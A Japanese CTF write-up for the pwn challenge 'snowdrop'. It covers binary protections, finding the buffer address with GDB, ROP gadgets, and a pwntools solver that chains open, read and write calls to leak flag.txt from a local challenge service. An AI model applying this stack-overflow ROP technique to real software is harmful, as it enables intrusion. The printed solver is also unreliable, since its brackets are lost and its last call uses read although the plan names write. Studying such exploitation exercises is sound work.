snowdrop
t6o_o6t.icon
静的解析
code:file
./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildIDsha1=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped code:checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segment
src.c
system関数の呼び出しが無くなっている...
Statically linkedなので、simplelistと同じ方法でsystemを呼び出すこともできない 何バイトまでのオーバーフローならSegmentation Faultが発生したりCanaryに検知されることがない?
StackがExecutableなので、Stack内に機械語を置けば実行できそう?
Return Addressが24バイト先にあるので、24バイト以上書くとそもそもStackにjumpできない
ROP
bufのアドレスを調べる
目的
flag.txt\x00を格納する場所として、bufの先頭を選ぶのが簡単そう。
その場合、open関数にファイル名を参照させるには、bufのアドレスが必要になる。
方法
GDBを使って、gets()関数呼び出し時に中断する
bufのアドレスと、00006 | の右側のアドレスの差を計算する
0x268だった
これにより、任意の00006 | の値から、bufのアドレスを計算することができるようになる
レジスタに適切な値をセットするためにROPを組み立てる
Linuxのx86_64なので、libcの関数を呼び出すための引数は、rdi、rsi、rdxの順に入れなければならないことに注意する
ROP Gadget
探し方
$ rp++ --file ./chall -r 1 --unique | grep "pop rdi"
0x401b84: pop rdi ; ret ; (166 found)
table:gadgets
pop rdi; ret 0x401b84
pop rsi; ret 0x40a29e
pop rdx; ret 0x4017cf
組み立てるROP
1. open(buf, 0)
2. read(3, buf, 0x18)
3. write(1, buf, 0x18)
code:solver.py
from pwn import *
arg1 = 0x401b84
arg2 = 0x40a29e
arg3 = 0x4017cf
p = remote("localhost", 9002)
e = ELF("./chall")
p.recvuntil(b" 000006 |")
buf = int(p.recvuntil(b"\n"), 16) - 0x268
print(hex(buf))
p.recvuntil(b"Did you understand?")
filename = b"flag.txt\x00"
payload = flat(
filename,
b"a" * (0x18 - len(filename)),
p64(arg1), p64(buf),
p64(arg2), p64(0),
p64(e.functions"open".address), p64(arg1), p64(3),
p64(arg2), p64(buf),
p64(arg3), p64(0x18),
p64(e.functions"read".address), p64(arg1), p64(1),
p64(arg2), p64(buf),
p64(arg3), p64(0x18),
)
p.sendline(payload)
p.interactive()
感想
ROPを練習するには非常に良い教材!t6o_o6t.icon